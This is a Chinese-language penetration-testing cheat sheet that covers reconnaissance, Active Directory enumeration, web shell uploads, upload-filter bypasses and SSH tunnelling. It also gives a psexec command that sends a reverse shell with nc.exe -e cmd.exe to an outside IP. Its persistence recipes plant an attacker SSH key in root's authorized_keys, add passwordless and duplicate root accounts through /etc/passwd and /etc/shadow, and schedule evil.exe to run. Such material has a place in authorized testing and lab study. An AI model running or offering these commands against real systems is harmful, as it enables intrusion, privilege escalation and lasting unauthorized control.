情报侦查

从nmap里面提取出实时存活的IP

nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

简单的端口扫描

for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done

DNS lookups, Zone Transfers & Brute-Force

whois domain.com
dig {a|txt|ns|mx} domain.com
dig {a|txt|ns|mx} domain.com @ns1.domain.com
host -t {a|txt|ns|mx} megacorpone.com
host -a megacorpone.com
host -l megacorpone.com ns1.megacorpone.com
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
dnsenum domain.com
nslookup -> set type=any -> ls -d domain.com
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done

Banner 抓取

nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET

NFS共享

列出NFS导出的共享文件，如果RW和no_root_squash存在，那就直接上传Sid-Shell执行。

showmount -e 192.168.110.102
chown root:root sid-shell; chmod +s sid-shell

Kerberos User Enumeration

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

HTTP Brute-Force & Vulnerability Scanning

target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum

tee命令用于将数据重定向到文件，另一方面还可以提供一份重定向数据的副本作为后续命令的stdin。简单的说就是把数据重定向到给定文件和屏幕上。

Active Directory

提一下，就是那些信息搜集工具都是基于自带的函数进行整理，经典的PowerView，熟悉这些对自己开发工具也有好处。

当前Domain信息

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

powershell命令自动补全很牛X，因为有些字段很长。

域信任

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

当前林信息

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

林信任信息

([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

一个域的所有DC

nltest /dclist:pentestlab.com

PS C:\Users\wing> nltest /dclist:pentestlab.com
获得域“pentestlab.com”中 DC 的列表(从“\\PentestLab-DC.pentestlab.com”中)。
    PentestLab-DC.pentestlab.com [PDC]  [DS] 站点: Default-First-Site-Name
此命令成功完成
PS C:\Users\wing>

拿到DC当前的认证信息

nltest /dsgetdc:offense.local

此命令成功完成
PS C:\Users\wing> nltest /dsgetdc:pentestlab.com
           DC: \\PentestLab-DC.pentestlab.com
      地址: \\10.10.0.2
     Dom Guid: 08b4981e-2ef6-4257-9de3-b794c2f504b2
     Dom 名称: pentestlab.com
  林名称: pentestlab.com
 DC 站点名称: Default-First-Site-Name
我们的站点名称: Default-First-Site-Name
        标志: PDC GC DS LDAP KDC TIMESERV GTIMESERV WRITABLE DNS_DC DNS_DOMAIN DNS_FOREST CLOSE_SITE FULL_SECRET WS DS_8
 DS_9
此命令成功完成
PS C:\Users\wing>

cmd里面得到信任域信息

nltest /domain_trusts

此命令成功完成
PS C:\Users\wing> nltest /domain_trusts
域信任的列表:
    0: SAKURAWING sakurawing.com (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: quarantined 0x10 )
    1: PENTESTLAB pentestlab.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成
PS C:\Users\wing>

得到用户信息

nltest /user:"spotless"

得到当前经过身份认证的DC

set l

获取用户信息

set u

获得访问权限

温故一下反弹shell

通过form表单进行文件上传

# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"

# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v

PUT方法

curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php

Payload生成模式和偏移量

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE

Bypassing File Upload

• file.php -> file.jpg
• file.php -> file.php.jpg
• file.asp -> file.asp;.jpg
• file.gif (contains php code, but starts with string GIF/GIF98)
• 00%
• file.jpg with php backdoor in exif (see below)
• .jpg -> proxy intercept -> rename to .php

图片里面注入Code

exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool “-comment<=back.php” back.png

ps：

cmd /c dir 是执行完dir命令后关闭命令窗口。

cmd /k dir 是执行完dir命令后不关闭命令窗口。

cmd /c start dir 会打开一个新窗口后执行dir指令，原窗口会关闭。

cmd /k start dir 会打开一个新窗口后执行dir指令，原窗口不会关闭。

AlwaysInstallElevated是一个策略设置。微软允许非授权用户以SYSTEM权限运行安装文件(MSI)，如果用户启用此策略设置，那么黑客利用恶意的MSI文件就可以进行管理员权限的提升

Port Forwarding / SSH Tunneling

SSH: Local Port Forwarding

# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER

SSH动态端口转发

# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
ssh -D 127.0.0.1:8080 user@SSH_SERVER

SSH远程端口转发

# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP

代理隧道

# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555

Netsh转发

# requires admin

RunAs

runas是Microsoft Windows系列操作系统中的一个命令，允许用户以不同的用户名运行特定的工具和程序，以用于以交互方式登录计算机的用户名。它类似于Unix命令sudo和su，但Unix命令通常需要系统管理员事先配置才能为特定用户和/或命令工作。

powershell

# Requires PSRemoting
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }

# without PSRemoting
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))

# without PS Remoting, with arguments
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"

CMD

# Requires interactive console
runas /user:userName cmd.exe

PsExec

psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe

Pth-WinExe

pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe

发现隐藏文件

dir /A:H /s "c:\program files"

常规的文件搜索操作

# Query the local db for a quick file find. Run updatedb before executing locate.
locate passwd 

# Show which file would be executed in the current environment, depending on $PATH environment variable;
which nc wget curl php perl python netcat tftp telnet ftp

# Search for *.conf (case-insensitive) files recursively starting with /etc;
find /etc -iname *.conf

注册表配置单元

hivesh /registry/file

hivexsh - Windows注册表配置单元shell

解密VNC的密码

wine vncpwdump.exe -k key

创建用户并添加到管理员组

net user wing wing /add & net localgroup Administrators spotless /add

Wingtips：在无回显的时候，添加失败可能是因为你的密码强度不符合密码策略。

SSH keys

mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys

Creating Backdoor

echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd

# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2

另外创建一个root用户

useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser

OpenSSL Password

openssl passwd -1 password 
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.

定时任务

# Launch evil.exe every 10 minutes
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe
